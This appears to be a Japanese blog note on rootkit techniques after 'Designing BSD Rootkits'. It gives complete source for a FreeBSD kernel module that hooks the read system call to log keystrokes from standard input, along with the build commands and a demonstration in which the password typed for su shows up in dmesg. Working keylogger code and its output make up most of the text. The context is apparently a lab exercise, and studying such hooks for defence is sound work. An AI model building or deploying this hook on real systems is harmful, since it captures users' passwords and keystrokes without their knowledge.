Keylogging

システムコールがhookできるので,key loggingを試してみる.

Code

標準入力からのreadを記録する形で実装してみる.

FreeBSDでも標準入力は0.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

static int
read_hook(struct thread *td, void *syscall_args)
{
    struct read_args *uap;
    uap = (struct read_args *)syscall_args;

    int error;
    char buf[1];
    size_t done;

    error = sys_read(td, syscall_args);

    if (error || (!uap->nbyte) || (uap->nbyte > 1) || uap->fd)
        return (error);

    copyinstr(uap->buf, buf, 1, &done);
    printf("%c\n", buf[0]);

    return (error);
}

static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
        break;
    case MOD_UNLOAD:
        sysent[SYS_read].sy_call = (sy_call_t *)sys_read;
        break;
    default:
        error = EOPNOTSUPP;
        break;
    }

    return (error);
}

static moduledata_t read_hook_mod = {
    "read_hook",
    load,
    NULL
};

DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
$ make
machine -> /usr/src/11/sys/amd64/include
x86 -> /usr/src/11/sys/x86/include
Warning: Object directory not changed from original /home/vagrant/src/keylogging
cc -O2 -pipe  -fno-strict-aliasing -Werror -D_KERNEL -DKLD_MODULE -nostdinc   -I. -I/usr/src/11/sys -fno-common  -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer   -MD  -MF.depend.read_hook.o -MTread_hook.o -mcmodel=kernel -mno-red-zone -mno-mmx -mno-sse -msoft-float  -fno-asynchronous-unwind-tables -ffreestanding -fwrapv -fstack-protector -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointer-sign -D__printf__=__freebsd_kprintf__ -Wmissing-include-dirs -fdiagnostics-show-option -Wno-unknown-pragmas -Wno-error-tautological-compare -Wno-error-empty-body -Wno-error-parentheses-equality -Wno-error-unused-function -Wno-error-pointer-sign -Wno-error-shift-negative-value -Wno-address-of-packed-member  -mno-aes -mno-avx  -std=iso9899:1999 -c read_hook.c -o read_hook.o
ld -m elf_x86_64_fbsd -d -warn-common -r -d -o read_hook.ko read_hook.o
:> export_syms
awk -f /usr/src/11/sys/conf/kmod_syms.awk read_hook.ko  export_syms | xargs -J% objcopy % read_hook.ko
objcopy --strip-debug read_hook.ko
$ sudo kldload ./read_hook.ko
$ su
Password:
root@freebsd:/home/vagrant/src/keylogging # dmesg
~ snip ~
s
u


v
a
g
r
a
n
t

できた

参考文献

Designing BSD Rootkits